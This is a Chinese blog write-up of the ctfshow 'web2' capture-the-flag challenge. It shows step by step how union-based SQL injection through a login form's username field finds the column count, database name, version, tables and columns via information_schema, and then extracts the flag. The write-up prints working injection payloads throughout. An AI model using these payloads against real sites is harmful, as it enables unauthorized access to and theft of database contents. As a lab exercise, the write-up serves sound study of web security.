• ctfshow-web2(SQL注入)


    打开题目链接,是一个登录框,尝试弱口令登录

     没什么反应

    尝试万能密码登录

     页面发生了变化

    并未登录进去,但是有回显,大概率是SQL注入了

    这里尝试了很久,尝试过程就不写了,最终判断它的注入点在用户名,而不是密码,密码随便输,而且--+的注释不行,这里要用#来注释。

    成功闭合之后先判断字段数

    ' or 1=1 order by 3 #

    正常回显

    ' or 1=1 order by 4 #

    无回显,说明只有3列

    判断回显位

    ' or 1=1 union select 1,2,3 #

    在2号位 

    查数据库名

    ' or 1=1 union select 1,database(),3 #

    数据库名为 web2 

    查数据库版本

    ' or 1=1 union select 1,version(),3 #

    MariaDB,第一次遇见不是在mysql下的

    这里说一下,因为mysql 5.0及其以上的都会自带一个叫information_schema的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。

    尝试查询数据库名为web2下的所有表名

    ' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#

    发现该数据库下有两个表:flag,user

    查询数据库名为web2下表名为flag的列名信息

    ' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#

    该表下的列名也为flag 

    直接查该列的具体字段信息 

    ' or 1=1 union select 1,flag,3 from web2.flag #

    拿到flag 

    ctfshow{6ce6e249-b399-480c-ae37-93793eea88e2} 

    前面我们说过,information_schema这个数据库下面包含了所有数据库的所有信息

    我们来获取一下所有数据库的数据库名

    ' or 1=1 union select 1,schema_name,3 from information_schema.schemata #

    mysql数据库、web2数据库以及其他所有数据库的所有信息都会储存在information_schema这个数据库下,这也是为什么我们可以借助information_schema这个数据库来查询到其他数据库的信息。

  • 相关阅读:
    06.2_c/c++开源库boost_coroutine2 协程库
    电脑提示msvcp110.dll是什么意思?msvcp110.dll丢失修复办法分享
    BP绁炵粡缃戠粶浠跨湡,bp绁炵粡缃戠粶妯″瀷
    力扣刷题19-删除链表的倒数第N个节点
    paddleocr-营业执照识别项目实战
    Labs‘Codes review(AVR)(3)
    base64编码的图片
    《Effective Java》知识点(9)--异常
    【系统架构】软件架构的演化和维护
    数据链路层【Linux网络复习版】
  • 原文地址:https://blog.csdn.net/Myon5/article/details/133635827